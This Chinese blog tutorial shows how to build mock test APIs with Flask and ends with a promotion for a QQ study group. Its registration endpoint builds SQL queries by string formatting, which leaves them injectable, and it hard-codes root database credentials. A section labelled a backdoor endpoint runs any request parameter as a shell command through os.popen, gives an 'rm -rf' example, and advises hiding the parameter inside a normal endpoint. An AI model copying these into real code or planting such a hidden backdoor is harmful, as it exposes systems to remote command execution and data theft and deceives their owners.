Python学习开发mock接口

2023-12-15 17:40:09

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

import flask,json,pymysql

server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务

??

def opt_db(sql):

??coon=pymysql.connect(

????host='192.168.109.132',

????user='root',

????passwd='123456',

????db='besttest',

????port=3306,

????charset='utf8'

??)#建立db链接

??cur=coon.cursor()#建立游标

??cur.execute(sql);#执行sql

??if sql.strip()[:6].upper()=='SELECT':

????res=cur.fetchall()#获取sql返回

??else:

????coon.commit()

????res='ok'

??cur.close()#关闭游标

??coon.close()#关闭db链接

??return res

??

??

#get请求, 请求路径ip:port/index

@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)

def index():

??res={'msg':'这是我开发的第一个接口','msg_code':'0'}

??return json.dumps(res,ensure_ascii=False,indent=4)

??

??

#post请求, 请求路径ip:port/reg

@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)

def reg():

??username=flask.request.values.get('username')#获取接口入参

??pwd=flask.request.values.get('passwd')

??if username and pwd:

????sql='select * from syz_stu where username="%s";'%username

????if opt_db(sql):

??????res={'msg':'用户已存在','msg_code':2001}#2001用户已存在

????else:

??????insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)

??????opt_db(insert_sql)

??????res={'msg':'注册成功','msg_code':'0'}

??else:

????res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填

??return json.dumps(res,ensure_ascii=False,indent=4)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

#后门接口

@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error

def cmd():

??cmd = flask.request.values.get('cmd')#接口的入参

??res = os.popen(cmd)#执行用户命令

??return res.read()#返回执行结果

??#http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件

??#隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口

??# 默认可以不传,一但传了再res = os.popen(cmd)

??

server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问

# port=6688指定端口为6688

# debug=True设置代码修改后服务自动重启

# host='0.0.0.0'设置同一局域网的可以访问

# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

?现在我也找了很多测试的朋友,做了一个分享技术的交流群,共享了很多我们收集的技术文档和视频教程。
如果你不想再体验自学时找不到资源,没人解答问题,坚持几天便放弃的感受
可以加入我们一起交流。而且还有很多在自动化,性能,安全,测试开发等等方面有一定建树的技术大牛
分享他们的经验,还会分享很多直播讲座和技术沙龙
可以免费学习!划重点!开源的!!!
qq群号:485187702【暗号:csdn11】

最后感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走!?希望能帮助到你!【100%无套路免费领取】

文章来源:https://blog.csdn.net/qq_45158700/article/details/135020107
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。